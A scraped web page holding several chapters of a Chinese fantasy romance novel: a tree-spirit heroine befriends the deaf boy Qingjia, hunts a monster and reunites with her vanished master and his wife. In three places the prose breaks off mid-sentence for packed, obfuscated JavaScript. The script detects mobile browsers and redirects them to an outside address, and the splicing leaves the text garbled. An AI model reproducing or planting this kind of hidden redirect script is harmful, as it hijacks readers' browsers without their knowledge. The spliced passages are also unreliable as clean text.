归笙的莲华境术法学得稀烂,装有法宝的乾坤袋也留在了莲华境外的肉身那里,而元魂相连的九窍核桃又是个缺少灵髓就容易罢工的主,为确保外出除祟万无一失,她需要多一些攻击类的法宝傍身,她认为刀兄的那些刀具法宝就很不错。 于是接下来的一段时日,归笙为这位刀兄端茶倒水、誊抄笔记、站岗放哨、嘘寒问暖……尽心尽责地扮演了一个鞍前马后的狗腿子。 功夫不负苦心人,归笙最终如愿以偿地获得了刀兄的法宝馈赠。 刚收到,归笙便在一包寒光凛凛的法宝中一通翻找,挑出了一柄吹毛断发的刻刀后,喜上眉梢地去敲清伽的门。 却被拒之门外。 归笙:“?” 她以为是敲出的震动太小,清伽一时没感应到,于是加大力道,不死心地又敲了一阵。 一阵地动山摇的动静后,门纹丝不动。 但“嘎吱”一声后,窗户开了。 归笙毫不嫌弃,轻车熟路地从窗户翻进了屋。 由于有个常和她吵嘴又吵不过她的师兄,对方一不想理她就把自己反锁进门里,而她的做法则是撬开窗锁翻进去继续烦他,久而久之,翻窗便成了归笙的拿手好戏。 时值傍晚,屋中光线昏淡,清伽不知为何没有点灯。 归笙循着清淡的香气找过去,顺利找到了人。 清伽半张脸埋在高高扯起的领口里,放空似的坐在榻边,目光不知落在何处。 却看得出,是在刻意避开她的方向。 归笙走过去,大剌剌往他面前一杵。 这下是避无可避了。 清伽只好抬头。 他面上没什么表情,唯独那双清凌凌的眸中,有幽怨的浅波轻漾。 归笙歪头,打手语道:“你怎么了?心情不好吗?” 清伽顿了顿,那眼中幽怨堆得更重,几乎要变质为埋怨了。 迎着归笙关切的目光,他终于动了动,开始比划手势:“半个月……” 归笙:“嗯?” 清伽:“半个月,你没有跟我说一句话。” 归笙:“……啊?” 清伽垂下眼睫,唇角紧抿:“我叫你,你也不理,就知道跟在那只丑刀的后面。” 归笙:“……” 好吧,她明白了。 她这个人吧,有个不知道算是优点还是缺点的特性,那就是一旦专心做起什么事情,就容易过分投入,忘乎所以。 当年她夜以继日地捣鼓完七爻,一心只想检验效果,竟一时头脑发热,决定以身试险,于是一头从栖雪峰上扎了下去,被她师兄一把提住后领扯上来时,后者脸都气白了。 莲华境里的时间本就流逝得更快,她既然打定了主意要讨刀兄的青睐,就很难分出心神去兼顾其他事情,这么一想,好像是有段时间没跟清伽讲话了,只是没想到竟足有半月之久。 虽然她和清伽在莲华境外的相处不太美妙,但自从进入莲华境,他二人变成了英雄救美的关系,指英雄树怪救下了遭到虐待的美丽小孩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745426|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 加之一同进入莲华殿成为灵侍后,归笙看得出来,这位幼年的灵主已经把她当作了一位忠实可靠的灵怪伙伴。 在他的视角里,就是曾和他形影不离的伙伴,某天忽然抛弃了他,跟另一个人玩得热络起来。 归笙非常理解他的这种感受,她在十二三岁的年纪时,云临渡回栖雪峰时多带了颗同门弟子送的糖果,她都能怄得要死,觉得有人跟她抢师兄。 当然,这种怄气终结于她师兄一把将糖果塞进了她嘴里。 归笙照葫芦画瓢,将挑好的刻刀朝清伽面前一递:“喏,给你的。” “我跟在刀兄身边忙前忙后,是为了给你准备这个礼物呀。” 清伽没动。 归笙也不催他,一手维持递刀的姿势,另一手则甩出基础的咒术,点上了屋里的灯。 暄软的灯光霎时流盈满室,也将身前之人此刻的模样照得分明。 那双玉石般温润的眼眸亮得动人,白薄的耳垂却红得快要滴出血来。 实在是太过赏心悦目的一幕。 归笙讶然,不禁俯下身,想凑近瞧瞧是不是看岔了。 “唰”的一下,灯被另一道咒术扑灭,手里的刻刀也被用力夺走。 这就有些欲盖弥彰了。 归笙“噗”地笑出了声,额头差点和坐着的人撞到一块。 她笑个不停,边笑边把略有些羞恼的人往旁边拨了拨,挨着他坐下来。 清伽把被她一屁股压住的袍摆抽出来,在放肆的笑声中等了一会儿,却迟迟等不来她的消停,不免气闷地比划:“你笑够了吗?” 归笙看清了,却偏要逗他,回了个手势:“太暗了,看不清,你说什么?” 身边静了好久。 随后,灯光蓦起。 满室敞亮间,清伽的神色恢复如常,一副安安静静的乖顺模样。 好像方才那副被感动到的样子只是她看岔了的错觉。 大眼瞪大眼一阵,归笙疾速出手,掐住了他的脸颊肉。 清伽:“……?” 他下意识挣扎,却见她忽然开了口。 归笙叽里咕噜地道:“你知不知道,等你再长大一点,你可就没这么乖了……长大的你虽然笑得很漂亮,但总觉得哪里怪怪的,好像有攒了几百年的戾气没处发一样,尤其是对着我的时候,那份讥诮和嫌弃藏都不藏住,气得我真想给你来上一拳……唉,只能趁现在多多欺负了,毕竟出了莲华境我就打不过你了……” 她没有用手语,清伽无法从她刻意模糊的口型分辨出她说了什么。 只能通过她鲜明的神情变化,捕捉到几许嗔怪与遗憾。 他停下了挣扎。 任由她在颊边的手,没轻没重地一阵作乱。 渐渐地,那些刺眼的情绪从她的神色间散去。 取而代之的,是能对他尽情搞怪的乐趣。 这样才对。 清伽无端地想。 只有这样轻盈快乐的情绪,才适合眼前的灵怪。 归笙玩够了,收回了手,说回闹这么一出的由头。 “对不起啊,这半个月忽视了你。” 她晃了晃抱着的那包法宝,发出“叮铃咣啷”的一串脆响。 “过段时间就要外出除祟了嘛,总不能因为你和我一组,我就全指望你出力,我躲在后面坐享其成了吧……” 清伽:“为什么不行?” 归笙愣了下,就见他慢吞吞地继续做手势:“我莲华境学得还可以。” 所以能够保护她? 归笙鼓了下嘴,憋住了笑。 真是孩子心性啊。 一想到这么可爱的小孩出了莲华境会变回原样,她又想扼腕叹息了。 归笙语重心长地道:“我又不可能靠你一辈子啊,我们迟早会分开的,我莲华境学得不行,那我总得有其他得法子自保呀。” 清伽定定地看了她一会儿。 须臾,他疑惑地:“……你是不是,和我说过类似的话?” “嗯?”归笙一怔,“没有吧。” 莲华境外,她和清伽根本没熟到能聊这些的程度。 莲华境内,她又是头一回跟他谈心,哪里来的机会说这种话? “你记错了吧。”归笙越想越笃定,“不是说莲华境会让人迷失自我么,你是不是今日修炼太过,有些糊涂了?” 她拍拍他的脑袋:“早些休息吧,我也回去了。” 18. 逢故人(下) 把人哄好了,刀具法宝也到手了,归笙便以无法割舍自己那位心智蒙缺的伙伴为由,动之以情地解除了和刀兄的兄弟情谊。 刀兄也是个胸怀宽广的性情中怪,当场又“哗啦啦”洒出一把赠别礼,祝福她前程似锦。 看着两只灵怪声泪俱下地在学堂里上演完一出离别大戏,又双双走回自己位置上,总计相隔不过十步路的众灵侍:“……” 有时候人族暗暗歧视灵怪也不全然是他们刻薄,实在是有些灵怪貌似灵智还没开全就出来混了。 归笙把自己的小板凳和课业抱回清伽旁边的位置。 本以为走了半个多月,她还得擦擦位置上积的灰尘。 不成想,桌案上干干净净,还放了一只崭新的木刻雕花。 是谁的手笔,不言而喻。 归笙弯了弯眼睛,坐下后,揉了揉身侧之人的发顶:“谢谢,我很喜欢。” 接下来的日子里,归笙熟悉着刀具法宝,静待外出除祟的任务布置下来。 却没料到这一等,就等了近乎两年。 虽然她体感上也不过三四个月,但的确是有些出乎意料。 看来除祟后不久,便要进行妙慧灵祖所言的,择定灵主候选的考验了。 外出除祟当日,归笙与清伽分派到的是来自西漠东北方的求助。 据求援的村民所说,三日前,村中一到夜晚,便有古怪的黑影在村中游荡,即便家家户户房门紧闭,也用上了莲华殿给予的结界法宝,但一到白日清点人数,总有村民失踪,家中只留下破损的房屋,以及屋中骇人的血迹。 归笙和清伽来到求助的村落时,来接应的村民将二人引入村中。 走在路上,村民惊奇地道:“灵侍,您手舞足蹈的是在施法吗?” 归笙解释:“是在打手势跟他讲话。” 村民恍然:“这讲了不少话吧,两位灵侍感情真好。” 归笙:“嗯,我在跟他吵架,准确来说是在单方面骂他。” 村民:“……” 归笙转头,继续用手语骂清伽:“所以你昨日到底为什么拦着我不让我揍那个嘴欠的混账?” 清伽假装看不懂。 归笙恶狠狠地比了个“混账”手势:“他走路没长眼把你书案底下的木雕撞翻碎了一地在先,被我拉过来道歉还恼羞成怒地骂你聋子哑巴!” 清伽终于也回了个手势:“这不是事实吗?” 归笙:“你才不是!等你从这里……” 她闭了嘴,意识到眼前的清伽并不知道他被困在这个年幼又失聪的壳子里,是因为莲心的莲华境。 他是真的以为自己就是这个样子。 归笙烦躁地抓了抓头发,严肃地搪塞过去:“总之你这样不对,我为你出头,你作为我的朋友,应该站在我这一边。” 清伽望着她,眸光渐渐变得清浅柔软。 沉默须臾,他垂眸比划:“是我的错,对不起。” 他认错得如此柔驯,归笙又心软了,正要欣慰地揉他的脑袋,却见他又比划道:“但我担心,他们之后会刁难你。” 刁难? 归笙试着从过去的陪读日常里找出她被刁难的蛛丝马迹。 是指偷偷向授业灵侍告状说她听讲时睡觉吗? 还是指已经成为她每日来到学堂的动力的书案底下的惊喜? 那些算什么刁难? 那些简直是这个枯燥乏味的莲华境里的调味小剂! 和她在天霄派时,动辄有一帮人成群结队打到栖雪峰底下比,根本就温和得不值一提。 何况那些“惊喜”里,十个有九个都是针对清伽的。 因为三年将至,这一批新进灵侍的天赋最高者,众人已心知肚明就是他了。 归笙凶巴巴地道:“你不必担心我,我比你扛揍得多,还能帮你打回去!总之下次遇到这种事,你不准再忍了,看得气死我了。” 清伽:“可是,不忍的话……” 归笙:“什么?” 他微微皱眉,手势迟疑而缓慢:“总觉得,会发生一些不好的事。” “最近我总做梦,梦中就是因为我没有忍住,和其他灵侍起了冲突,后来就发生了不好的事。” “那些事,”他抬眸,剔透的眸子映着归笙的身影,“和你有关。” 归笙认为他纯粹是莲华境修炼多了精神出问题了:“梦而已,看把你吓得,我这不是好好的吗?” 清伽摇摇头,不和她讲了。 与此同时,村民也把二人带到了地方。 他指着一处山头道:“那便是怪物最后一次出现的地方。” 归笙:“好的,交给我们吧!” 是夜,乌云蔽日,阴风飒飒。 家家户户房门紧闭,山村中杳无灯火人迹。 忽然之间,一道巨大阴影自山头腾起,恍若一重黑色的山洪滚滚而下,侵袭向山下的村落。 山脚处的苍林里,早就埋伏在此的归笙瞅准时机,一扬手—— 无数刀具如雨,“唰啦啦”从天而降,扎穿了那祟物肥硕的羽翼。 祟物哀嚎一声,从半空中坠地,伏倒在山坡上,暴怒回首。 刀身映月,寒芒雪亮,将那祟物的正面映照得一清二楚。 原本气定神闲的归笙瞳孔骤缩。 那祟物……貌似是一个人族。 可是怎么会有那样的人族? 虽然长着一张五官错位的人脸,但从后看去,那人凸起的肩胛骨顶破他的脊背,延展作两扇鼓胀肥厚的羽翼,羽翼表面缀满了葡萄串一样的畸肿肉瘤,将薄薄的皮肉撑得煞白,似乎随时会有红白的浆液从中炸出。 那祟物,就像是一具人与怪物的结合体,且已濒临从内部爆开的边缘。 四目相对,祟物抽动同样挤满肉疱的嘴角,陡然大吼一声,就地腾起,转而向她和清伽藏身的苍林袭来。 深厚的髓华火药一般轰然炸开,这一片苍林中树木顷刻之间尽数折断,二人失去藏身之所,只得立刻往山头跑去。 不对! 奔逃过程中,归笙的一颗心重重沉下去。 这祟物那一击中所展露的修为,远远超过了出发前莲华殿给他们的判断! 她和清伽加起来也绝不是这祟物的对手! 果不其然,即便有清伽的咒术加持,二人身形似箭,那祟物也在眨眼之间就追了上来。 腥臭而如腐蚀黏液一般的髓华逼至身后,归笙瞬时感到背上一片皮开肉绽的痛楚,正要反身掷出刀具,那祟物陡然一振翅翼,巨大的冲击力当头劈下,这具树怪的壳子立刻迸出“咔咔”的碎裂之响,几无还手之力地趴倒在地。 电光石火间,归笙召出核桃,清伽也及时赶到,三爻和清伽的咒术同时弋向上方的祟物,却终是如归笙之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745427|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所判断的那样,实力悬殊。 核桃崩碎,咒术溃散,祟物俯冲下来,一口叼住清伽的手臂,撕扯着他再度腾空,转头继续向村落袭去。 归笙咬着牙,麻溜地把断掉的木头腿接好,从地上爬起来,掐紧核桃,飞身赶去。 然而双腿难敌两翼,周遭贫瘠的灵髓也无法令一爻发挥最大功效,归笙眼睁睁看着自己与祟物之间的距离越来越远。 倘若灵髓充足,她大可以追上去,对这实力远超她的祟物使用八爻。 可偏偏这里是西漠。 眼见那祟物即将降落在村落里,归笙气血上头,不禁在这一刻也埋怨起来—— 当年的初代灵主分明能救煌星木,为何选择不救?! 不管了。 拼一把吧。 归笙深吸口气,在身后召出化成巨大圆球的三爻,又给自己身上加了一层四爻,随即喝令三爻用尽全力撞上她的身体,把她向那祟物撞飞出去。 归笙在巨大的冲击力下飞出,与祟物之间的距离急遽拉近。 她捂住闷痛不已的胸腔,眼睛一眨不眨地盯着放松警惕的祟物,手里的八爻迅速吸攒灵髓。 能不能赶上…… 惴惴不安之际,归笙的视野下方光芒一绽。 一道阵法从村落中霍然腾起,绯红色的火焰暴旋冲天,霜寒的剑意紧随而至,斩出凛冽的罡风配合阵法,形如一赤一银的两条蛟龙,瞬间将祟物死死绞缠其中。 浩瀚的髓华荡开,归笙猝不及防,被撞得后退下坠,却重重松了一口气。 这是援兵赶到了么……还是有义士出手相助…… 结果这口气没松完,归笙嘴巴一凉,口中被塞进一只圆溜溜的事物。 她下意识一嚼,听到“咔嚓”一声脆硬的响。 头顶飘下一道吊儿郎当的嗓音:“山上摘的野果,好吃的,给你尝尝。” 确实好吃。 甘甜的汁水充溢口腔,甜得归笙几乎要落下泪来。 声音的主人反手将她一推,归笙便又向后掠了出去,仍旧落入了一个熟悉的怀抱,像坠入一怀柔软的云絮。 一只沉稳的手臂托住了她,在另一道臂弯里,是重伤陷入昏迷的清伽。 归笙僵硬地侧首,只来得及看到男人喉间狰狞的剑伤疤痕。 下一瞬,前方的剑阵似一场疏狂肆意的火雨,霸道地侵占了她的全部视野。 雷霆剑意漫天布阵,于四棱六合间纵横驰骋,将那祟物逼得嘶吼溃逃,却终究是徒劳无功。 祟物力竭倒地的刹那,一道剑光利落斜斩,将其分作两段,剑身却滴血不沾。 祟物残骸落地,渐渐湮灭成灰,随风消散。 耀目的剑阵亦随之收敛,乌云散开,明净的月光重新倾落。 尘埃落定,“铮”的一声,女人收剑入鞘。 她转过身,艳烈的裙裾肆意飞扬,如在苍枯的山间夜色里,挽出的一丛盛开的红霞。 女人将嘴里叼着的果子拿下来,啃了两口,边嚼边悠悠走近。 归笙一步一步地看着她走近。 头晕目眩,耳膜轰鸣。 过去无数的光阴在眼前纷飞闪掠,悉数奔涌向身前身后的两道身影。 这是珍藏在记忆中的,一红一白的两道身影。 阔别三年的光景,她终于又见到了他们。 她的师母和师父。 19. 往生镜(上) 归笙轻轻地发着抖。 她想立刻扑过去,抱住走过来的女人,赖在她的怀里一把眼泪一把鼻涕地告诉她自己有多想念她,她离开的这些年自己和师兄都受了天霄派那些混账的多少委屈。 可是,不能。 至少那些话不能说。 因为时至今日,她依旧不知道目前所处的莲华境,究竟是幻境咒术构建的幻象,还是那至高咒术引发的真真切切的时空倒流。 若是前者还好,因为无论怎样折腾,都终归会随着幻境消散。 但若是后者,就说明此刻的场景是真实发生过的。 她的师母和师父确实曾到过西漠除祟。 而她记得妙慧灵祖说过,莲华境是可以改写过去的。 若是时空倒流,此刻的过去已被改写:她的师母和师父来到西漠时,遇到了从未来回溯的她和清伽。 若她再轻举妄动,向女人表明自己的身份,过去进一步改写,会对莲华境外既定的现实产生怎样的影响,归笙不敢也不能尝试。 …… 栖迟走到男人的身旁低头瞧了瞧:“雪意,这小娃娃……这小灵怪一动不动的,是吓傻了么?” 云雪意摇了摇头,将归笙递了过去,有些郁闷地做手语道:“这孩子更喜欢你。” 栖迟不接:“我不要,我身上都是血……” 归笙却猛地扑了过去,一把搂住了栖迟的脖子,挂在了她的身上。 栖迟被她扑得趔趄了下,便也顺势托住她腿弯,语带调笑地道:“嗯?强买强卖啊小家伙。” 又拍拍她的后背:“好了好了,快勒死我了,小家伙没必要这样恩将仇报吧……松开些,让我看看你的伤,被那东西伤一下可是要命的。” 归笙仍是赖在她的颈窝,死死不撒手,低声咕哝道:“没受伤,但吓傻了,要抱着人才能好。” 栖迟被她逗笑:“那好吧,不过你这位伙伴受伤有点严重,你再不松开我给他治伤,他可就要小命不保了。” 归笙悚然一惊,瞬间脱手,从栖迟身上跳了下来。 她是很想念师母没错,但万不能因此搭上清伽的性命,否则之后怕是要全部乱套了! 归笙连忙去看清伽的状况,果不其然,后者呼吸微弱,被祟物叼住的手臂一片血肉模糊。 栖迟抬手,指尖流光一现,在自己腕上割出一道血口,血滴淅沥,凑到清伽唇前,云雪意则微微托起清伽的下颌,让那血水能流进他的口中。 须臾,清伽紧蹙的眉心渐渐松开,苍白的面色也徐徐和缓。 归笙震惊不已,目不转睛地盯着栖迟的手腕:“你的血……?” 她师母的血何时有这种功效了?她怎么不知道? 不过她转念就想开了:自家师母的身上本就疑团重重,血能救人什么的,也就相对不那么神奇了。 闻言,栖迟把滴滴答答的手腕送过去,在归笙眼前晃了晃:“嗯,包治百病,妙血回春,你要不要也来一口?” 归笙:“……”她更想立刻拿纱布把她的伤口绑起来! 云雪意拍了下栖迟的肩膀。 栖迟:“好吧,正事要紧。” 她俯身一抄,把归笙抄到肩头坐着。 “你们是莲华殿的灵侍吧?” 栖迟一手握住树木灵怪的两根木头脚腕,吹了声口哨:“走吧,刚好顺路。” 就这样,三人一怪从村落径直回到莲华殿。 一路上,归笙有无数的话想问,然而想起如今的身份处境,又无可奈何地按捺下来,只默默将栖迟的脑袋搂得更紧,紧到栖迟忍俊不禁地出声提醒:“小灵怪,你喜欢别的可以送你,但脑袋真的不行。” 话音才落,莲华殿便出现在他们的视野尽头。 瞬间,归笙察觉栖迟的身形一滞。 她下意识地伸手,似是要摸向腰间,又想起什么,摸到一半便放了下来。 归笙以为自家师母是去掏钱袋,便安慰地拍拍她道:“进莲华殿不要门票的,师……恩人。” 栖迟停顿了一下。 她蓦地抬头,认认真真瞧了肩上的树怪一眼。 归笙不明所以,但喜欢被自家师母这么专注地瞧着,当即也眨巴着眼睛瞧回去。 瞧着瞧着,归笙的眼睛里就冒出了星星。 她师母真好看。 丰神俊秀,眉目如画,在她心里是天下第一的好姿容。 栖迟突然道:“擦擦口水,别滴我肩上了。” 归笙立刻回神:“……” 她忙一抬袖,擦了个空,当即明白被耍了。 栖迟笑了一声,将肩头的小灵怪往颈窝颠了颠,让她坐得更稳当了些。 随即她走至莲华殿近前,值守的灵侍好似早先便认识栖迟,神色恭敬,一路将二人引至了妙慧灵祖的面前。 见到来者,妙慧灵祖含笑上前,道:“久仰二位魁首,如今终于得见,我之荣幸。” 又看到栖迟肩头的归笙和云雪意怀里刚醒的清伽,愣了愣:“这是怎么了?” 归笙也愣了愣:二位魁首? 她是听过上一届五方盛会有两位并列的魁首,她师母便是其中之一。 可另一位魁首,分明是如今天霄派的掌门——云起凡啊? 她师父虽和云起凡是堂兄弟,但长相只五分相似,一般绝不至于把他二人混淆。 这是怎么回事?莲华境还能出错的?还是妙慧灵祖认错人了? 云雪意对妙慧灵祖顿首,栖迟则摆了摆手:“哪八辈子的事儿了,灵祖不必再提。” 栖迟简单说明了下先前的状况,随即一手一个,按在归笙和清伽的脊背上,二人便如两朵轻飘飘的云絮,落到了妙慧灵祖的面前。 妙慧灵祖俯下身,将二人仔仔细细地检查了一番,这才重重松了口气 她摸了摸他们的脑袋,轻声道:“抱歉,是莲华殿的失误,竟让你们去对付修为那般之高的祟物。” 栖迟插话道:“口头道歉可有点轻飘了灵祖,小家伙们可是险些丢命呢,之后可要好好给点实质性的补偿啊。” 归笙哆嗦了一下。 虽然早知她师母口无遮拦,随性惯了,但如此直白地替人邀功,也是有点太考验她这个当事人的脸皮了。 “那是自然,”妙慧灵祖俯首一礼,“多谢二位出手相救。” 栖迟看了眼妙慧灵祖,站直了些:“不敢,反而多有惭愧。” 她道:“我二人本就在追捕侵入各方的境外祟物,是我们一时不察,才让这一只在西漠作祟了三日之久。” 归笙的耳朵高高竖起:什么祟物? 祟物她知道,境外祟物是个什么新鲜东西? 妙慧灵祖也是一怔:“境外祟物?” 栖迟道:“我便是为此事而来。” 她没有立刻说下去,暼了眼一旁的归笙与清伽。 妙慧灵祖知她意思,却没遣二人退下,道:“不必避讳,栖峰主直说便是。” 栖迟便直言不讳道:“灵祖可知,五方域境之外,又有什么?” 妙慧灵祖摇了摇头:“莲华殿先祖曾以莲华境窥探天机,却得到回音:勿要越过天道划定的域境之限,否则必遭天谴,所以,不知。” 栖迟微微沉默,低声说:“那些境外祟物,便是遭到天谴的结果。” 妙慧灵祖看她片刻,没有追问,只了然道:“原来如此。” 栖迟接着道:“我二人常年在外除祟,此类祟物见了不少,发现它们唯一的共性特征,便是能看出原来是个人族,以及浑身长满畸肿的肉瘤,并且近几十年来,其数量逐渐攀升,在五方域境内四处作乱。” 栖迟走上前,递给妙慧灵祖一样铜铃状的事物。 “我在灵祖这里留一样传音法宝,西漠若再发现境外祟物的踪迹,莲华殿无法解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745428|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,还请立即传音与我。” 妙慧灵祖方才接过,栖迟腕上的另一只铜铃便嗡嗡噪响了起来。 “这不,不仅数量多了,出现得也更频繁了。” 栖迟瞥了眼铜铃上闪烁的方位:“北原的魔元山附近也出现了。” 妙慧灵祖迟疑了一下:“北原……” 栖迟看懂了她的神情:“灵祖是想说让他们黑吃黑?可惜并非如此。” 她慢慢地道:“以境外祟物的实力,就算在妖魔横行的北原,也只会造成一场单方面的屠杀,倘若放任他们在北原作乱,下一步,便是为祸整个五方域境,必须在他们还是一只一只地出现时,将他们逐个击破。” 妙慧灵祖受教道:“是我狭隘了,多谢栖峰主提醒。” 栖迟一笑,又道:“对了,临走之前,还有一事。” 她的语气一敛落拓不羁,转为严肃正经。 妙慧灵祖正凝神欲听,余光里的云雪意却突然深深一礼,似乎也有事相求。 这道侣二人同时有话要说,妙慧灵祖左看右看,为难至极:“云峰主有何事?不急的话,我先听完栖峰主说的事?” 云雪意一声不吭,礼节更深。 正当妙慧灵祖一头雾水时,栖迟懒洋洋地开了口:“非也非也,并非他也有事,而是一贯是我说事,他行礼,以此周全礼数。” 妙慧灵祖:“……早闻二位峰主一体同心、琴瑟和鸣,如今一见,才知并非虚言。” 栖迟笑了笑,也跟着行了一礼。 直起身时,她道:“不知妙慧灵祖可否借‘碎虚宝镜’一用?” 殿中静了静。 归笙的眼珠转了转:碎虚宝镜? 她偷瞥清伽,却见他神色淡淡,显然对他们说的什么完全不感兴趣。 良久,妙慧灵祖才开了口,语声却比方才沉肃许多:“碎虚宝镜乃莲华殿上古法宝,虽能重现过去景象,但稍有不慎便会卷入时空洪流,即便是在莲华殿内部,此法宝也早已束之高阁,久未使用……栖峰主可想清楚了?” 栖迟点了点头:“我此去北原,除了继续追捕境外祟物,还有一事想查明,非借助碎虚宝镜之力不可为。” 妙慧灵祖道:“容我一问,所为何事?” 栖迟不作迟疑地答:“北原玄婴族遭到追杀一事。” 妙慧灵祖讶然,道:“莲华殿先祖曾立下规矩,如非必要,莲华殿不得干涉其他域境的事务,所以请再容我一问,峰主为何要追查此事?” 有求于人,栖迟依旧有问必答:“一些不得不管的私事。” 话到此处,便是无法再深问。 妙慧灵祖叹了口气,轻抚归笙与清伽的发顶:“莲华殿欠二位峰主一个人情,这碎虚宝镜,二位便拿走吧。” 她望着栖迟,眉眼柔和:“但望使用时务必慎之又慎,千万小心。” 栖迟郑重道:“多谢灵祖,待此间事了,我定原物奉还。” 妙慧灵祖便传来灵侍,命其带二人去取碎虚宝镜。 栖迟道一声告辞后,便揽着云雪意转身。 没走两步,衣摆忽然一紧。 一低头,一双葡萄般的眼睛乌润润地望着她。 归笙张了张口,道:“恩人们,要小心。” 她没有忍住,她还是想和他们再说一句话。 虽然她已经知道,他们这一趟离去,便是三年的杳无音信。 因为她认出了栖迟给妙慧灵祖的那枚铜铃。 师母最后一次出门时,带走的正是那枚铜铃。 眼中无法压抑地蓄起水雾,归笙耷拉下眼皮,松开了栖迟的衣摆。 脸颊却忽然被人捏住。 温热的指尖拭去她眼角的泪花,归笙怔怔抬头。 栖迟正低头看她,笑着应道:“好的,小灵怪。” “你以后……” 她轻声说:“也要小心。” 20. 往生镜(下) 师母和师父离开了。 妙慧灵祖又令医修灵侍给二人彻头彻尾检查了一通,确定二人并无大碍后,才放了他们回去休养。 归笙一路神游天外地回到寝院,脚步虚浮地推门进屋,一头栽进了榻里,憋了一路的眼泪瞬间夺眶而出。 一把眼泪一把鼻涕间,归笙攥着被单,想:她一定一定要找回师母与师父,带着他们一起回家。 哭着哭着,归笙哭得累了,无法自控地分出了一丝心神,疑惑自己今日的床褥为何格外清香好闻。 好闻到她最后都忘了哭,在这怀香气里迷迷糊糊地睡着了。 不知睡了多久,依稀间,归笙忽觉榻侧的月光被遮住。 她心下诧异,偏首望去。 榻侧,坐着一道清隽疏朗的身影。 那是一个白衣的青年。 察觉她的苏醒,青年放下手中的书卷,轻轻俯下身来。 乌密的青丝款款垂落,如一泓柔丽的水墨,滴入归笙的眼眸,与她清黑的瞳色缱绻交融。 那张俯下的容颜,分明笼在朦胧的月光中,依稀遥远,看不真切。 归笙却莫名觉得,他的唇畔一定漾着清浅的笑意。 青年微微启唇,温柔地唤了句什么。 归笙颤了颤,睁开了酸涩的眼睛。 这次是真的醒了。 然而与梦境如出一辙,榻旁矮凳上真的坐着一道身影。 归笙瞳孔骤缩,一声惊叫到了嘴边,又在看清那熟悉的样貌后,惊魂未定地吞下了下去。 是清伽。 归笙懵然比划:“大半夜的,你怎么会坐在这里?” 清伽望着她,目光中有淡淡的无言。 片晌,他做手势道:“你走错屋子了。” 归笙:“……” 归笙霍然坐起,又猛地想起什么,绝望地低头。 随即,她不忍卒视地闭上了眼,悲怆承诺道:“我会清理干净的,对不住。” 清伽摇了摇头,俯下身,端上来一盆清水。 归笙:“?” 清伽在水中浸湿一条巾帕,另一手扶住她的后颈。 没有空闲的手打手语,他便凝着她的眸子,微抬下颌,示意她抬头。 这是要给她擦脸? 若是往常头脑清醒时,归笙大抵会推辞一番,让她自己来。 但此时她眼酸脑胀,便晕晕乎乎地被他带着,顺从地仰起了脸。 湿凉的巾帕覆上她哭肿的脸,归笙舒服地喟叹了声,下意识在那柔软的帕面轻蹭了下。 巾帕微微一顿,随即若无其事地继续,将那些残留的泪痕细细拭去。 擦了一会儿,归笙后知后觉有些对不起她这位好心的伙伴。 不仅霸占了人家的床榻,把人家的被单哭湿了,最后还坐在这里坐享人家的擦脸伺候。 可惜她哭了半宿,疲累不堪,这会儿连根手指也不想动,索性就厚着脸皮,把脸仰得更加心安理得,以方便清伽的擦拭。 她在这个破莲华境里陪读那么久,享受一下他的伺候怎么了! 归笙理直气壮地说服了自己。 清伽不懂她为何忽然昂首挺胸、气焰嚣张起来,但见她一改方才蔫答答的低落,闷堵许久的心口也随之松缓开来。 他见不得这只灵怪不开心的样子。 擦干净脸,清伽端起盆就要出去。 归笙忙不迭要跟着下榻,就见他比划道:“你接着睡吧,我去外头修炼。” 归笙愣了愣,回:“这么晚还修炼啊?” 她记得清伽不是这么用功的人啊。 清伽侧身看她一眼,手语里透出几分无奈:“灵祖放行前,让我们温习一下所学,明日到她那里去,她有要事布置,你忘了吗?” 归笙:“……这样。” 她当时光顾着沉浸在又和师母师父分开的悲伤里,几乎不知天地为何物了,又怎么能记得妙慧灵祖说了些什么。 清伽都这么说了,归笙也不跟他客气了,从善如流地趴了回去。 不知道是不是错觉,清伽的床榻真的比她的床榻好睡。 归笙拱了拱鼻尖,又开始犯困。 不是错觉,就是因为这股轻轻浅浅的暖香的缘故。 意识徐徐飘远,归笙打着呵欠想:明日一定要把清伽浣被的清洁术学了来…… 但是在浣被前,他们得先去妙慧灵祖那里,了解她所谓的“要事”。 第二日,二人被领着来到一面硕大的镜子前,归笙目瞪口呆的同时,又有些摸不着头脑。 还好妙慧灵祖及时做了解释:“这便是往生镜。” 归笙于是想起来了。 “择定灵主候选的第一道环节,便是进入往生镜的幻境,完成其中的考验。” 三年前,妙慧灵祖如此说道。 如今三年之期将至,妙慧灵祖站在往生镜前,归笙一时还没有实感。 